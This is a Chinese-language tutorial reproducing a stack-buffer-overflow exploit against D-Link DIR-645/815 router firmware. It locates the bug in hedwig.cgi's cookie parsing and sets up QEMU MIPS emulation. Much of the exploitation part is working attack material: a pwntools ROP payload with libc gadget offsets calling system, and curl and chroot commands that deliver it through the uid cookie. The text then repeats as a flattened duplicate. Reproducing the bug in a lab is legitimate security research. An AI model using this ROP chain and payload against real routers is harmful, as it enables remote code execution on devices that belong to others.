DLink 645路由器栈溢出漏洞分析与复现
字数 1517 2025-08-30 06:50:27

DLink DIR-645路由器栈溢出漏洞分析与复现教程

1. 准备环境

1.1 固件获取与解压

  • 下载DIR-815固件:DIR-815_FIRMWARE_1.01.ZIP
  • 使用binwalk解压固件:
    binwalk -e DIR-815_FIRMWARE_1.01.ZIP
    
  • 解压后得到MIPS32小端序文件系统(通过检查/bin/busybox确认)

1.2 QEMU模拟环境搭建

  1. 下载MIPS架构内核镜像和文件系统:

    • 访问:Index of /~aurel32/qemu/mipsel
  2. 创建QEMU启动脚本run.sh

    qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
    
    • 默认登录凭证:root/root 或 user/user
  3. 网络配置:

    • 宿主机创建网卡脚本net.sh
      #!/bin/sh
      sudo tunctl -t tap0 -u `whoami`
      sudo ifconfig tap0 192.168.100.1/24
      
    • QEMU虚拟机内配置脚本net.sh
      #!/bin/sh
      ifconfig eth0 192.168.100.2 netmask 255.255.255.0
      route add default gw 192.168.100.1
      
  4. 文件传输:

    • 压缩文件系统:tar -czvf squashfs-root.tar.gz squashfs-root/
    • 宿主机启动HTTP服务:python3 -m http.server 8000
    • QEMU内下载:wget http://192.168.100.1:8000/squashfs-root.tar.gz

2. 漏洞分析

2.1 漏洞定位

  • 漏洞文件:/htdocs/web/hedwig.cgi(实际是/htdocs/cgibin的软链接)
  • 关键函数调用链:
    main → hedwigcgi_main → cgibin_parse_request → sess_get_uid
    

2.2 漏洞原理

  1. Cookie解析

    • HTTP_COOKIE环境变量中提取uid=后面的内容
    • 示例:Cookie: uid=AAAAAAAA...
  2. 栈溢出点

    char v27[0x400]; // 缓冲区大小1024字节
    sprintf(v27, "<%s>%s</%s>", v6, v6, v6); // 第一次格式化
    
    • 如果满足条件会执行第二次sprintf,导致双重溢出
  3. 触发条件

    • 必须存在/var/tmp目录(需手动创建)
    • 需要设置REQUEST_URI环境变量
    • POST请求内容需符合特定格式

3. 漏洞利用

3.1 MIPS架构特性

  1. 叶子函数与非叶子函数

    • 叶子函数:不调用其他函数,返回地址存储在$ra寄存器
    • 非叶子函数:调用其他函数,返回地址保存在栈上
  2. 寄存器保存

    • 非叶子函数会在prologue保存$s0-$s7$fp到栈上
    • 栈溢出时可控制这些寄存器
  3. 流水线效应

    • 分支延迟槽:跳转指令后的指令会先执行
    • 缓存不一致性:需调用sleep让shellcode从数据缓存同步到指令缓存

3.2 动态调试

  1. 用户模式调试

    # 生成测试payload
    cyclic 2000 > payload
    
    # 执行测试
    INPUT=$(cat payload)
    export REQUEST_URI="/"
    export CONTENT_TYPE="application/x-www-form-urlencoded"
    export HTTP_COOKIE="uid=$INPUT"
    echo $INPUT | chroot . ./qemu-mipsel -E REQUEST_URI=/ -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE="uid=$INPUT" -g 1234 /htdocs/cgibin
    
  2. GDB调试命令

    gdb-multiarch htdocs/cgibin
    target remote :1234
    b *hedwigcgi_main
    

3.3 ROP链构造

  1. 纯ROP利用

    • 注意system地址末位\x00会被截断
    • 解决方法:传入system_addr-1,通过addiu ..., 1调整
  2. ROP+Shellcode

    • 必须避免shellcode中包含\x00
    • 需要先调用sleep解决缓存不一致问题

3.4 系统模式利用

  1. 方法一:直接传payload

    • 使用gdbserver调试:
      ./gdbserver.mipsel 192.168.100.2:6666 /htdocs/cgibin
      
    • 示例exp:
      # 构造ROP链和shellcode
      # 发送payload到目标
      
  2. 方法二:HTTP报文攻击

    • 配置http_conf服务
    • 发送精心构造的HTTP请求到192.168.192.133:1234

4. 完整利用流程

4.1 准备工作

  1. 创建/var/tmp目录
  2. 配置必要的环境变量:
    export REQUEST_URI="/"
    export CONTENT_TYPE="application/x-www-form-urlencoded"
    

4.2 构造Payload

from pwn import *

context.endian = 'little'
context.arch = 'mips'

# libc基址偏移
libc_base = 0x2aaf8000

# gadget计算
system = libc_base + 0x53200 - 1  # 减1避免\x00
addiu_s0_1_jr_s0 = libc_base + 0x31A44
sleep = libc_base + 0x4D330

# ROP链构造
rop = b""
rop += p32(addiu_s0_1_jr_s0)
rop += p32(system)
rop += b"cmd\x00"

# 填充缓冲区
payload = b"A"*1024  # 偏移量需根据实际情况调整
payload += rop

4.3 执行攻击

# 方法一:直接传payload
echo -ne "uid=$payload" | chroot . ./qemu-mipsel /htdocs/cgibin

# 方法二:通过HTTP
curl -X POST -H "Cookie: uid=$payload" http://192.168.192.133:1234/hedwig.cgi

5. 参考资源

  1. MIPSROP工具:https://github.com/tacnetsol/ida
  2. QEMU镜像:Index of /~aurel32/qemu/mipsel
  3. gdbserver:对应架构的gdbserver.mipsel

注意事项

  1. 用户模式下无法使用fork(),需在系统模式下测试
  2. 确保所有环境变量正确设置
  3. 注意MIPS架构的特殊性(流水线效应、缓存不一致等)
  4. 实际偏移量需通过动态调试确定
DLink DIR-645路由器栈溢出漏洞分析与复现教程 1. 准备环境 1.1 固件获取与解压 下载DIR-815固件: DIR-815_FIRMWARE_1.01.ZIP 使用binwalk解压固件: 解压后得到MIPS32小端序文件系统(通过检查 /bin/busybox 确认) 1.2 QEMU模拟环境搭建 下载MIPS架构内核镜像和文件系统: 访问: Index of /~aurel32/qemu/mipsel 创建QEMU启动脚本 run.sh : 默认登录凭证:root/root 或 user/user 网络配置: 宿主机创建网卡脚本 net.sh : QEMU虚拟机内配置脚本 net.sh : 文件传输: 压缩文件系统: tar -czvf squashfs-root.tar.gz squashfs-root/ 宿主机启动HTTP服务: python3 -m http.server 8000 QEMU内下载: wget http://192.168.100.1:8000/squashfs-root.tar.gz 2. 漏洞分析 2.1 漏洞定位 漏洞文件: /htdocs/web/hedwig.cgi (实际是 /htdocs/cgibin 的软链接) 关键函数调用链: 2.2 漏洞原理 Cookie解析 : 从 HTTP_COOKIE 环境变量中提取 uid= 后面的内容 示例: Cookie: uid=AAAAAAAA... 栈溢出点 : 如果满足条件会执行第二次 sprintf ,导致双重溢出 触发条件 : 必须存在 /var/tmp 目录(需手动创建) 需要设置 REQUEST_URI 环境变量 POST请求内容需符合特定格式 3. 漏洞利用 3.1 MIPS架构特性 叶子函数与非叶子函数 : 叶子函数:不调用其他函数,返回地址存储在 $ra 寄存器 非叶子函数:调用其他函数,返回地址保存在栈上 寄存器保存 : 非叶子函数会在prologue保存 $s0-$s7 和 $fp 到栈上 栈溢出时可控制这些寄存器 流水线效应 : 分支延迟槽:跳转指令后的指令会先执行 缓存不一致性:需调用 sleep 让shellcode从数据缓存同步到指令缓存 3.2 动态调试 用户模式调试 : GDB调试命令 : 3.3 ROP链构造 纯ROP利用 : 注意 system 地址末位 \x00 会被截断 解决方法:传入 system_addr-1 ,通过 addiu ..., 1 调整 ROP+Shellcode : 必须避免shellcode中包含 \x00 需要先调用 sleep 解决缓存不一致问题 3.4 系统模式利用 方法一:直接传payload : 使用gdbserver调试: 示例exp: 方法二:HTTP报文攻击 : 配置 http_conf 服务 发送精心构造的HTTP请求到 192.168.192.133:1234 4. 完整利用流程 4.1 准备工作 创建 /var/tmp 目录 配置必要的环境变量: 4.2 构造Payload 4.3 执行攻击 5. 参考资源 MIPSROP工具:https://github.com/tacnetsol/ida QEMU镜像:Index of /~aurel32/qemu/mipsel gdbserver:对应架构的gdbserver.mipsel 注意事项 用户模式下无法使用 fork() ,需在系统模式下测试 确保所有环境变量正确设置 注意MIPS架构的特殊性(流水线效应、缓存不一致等) 实际偏移量需通过动态调试确定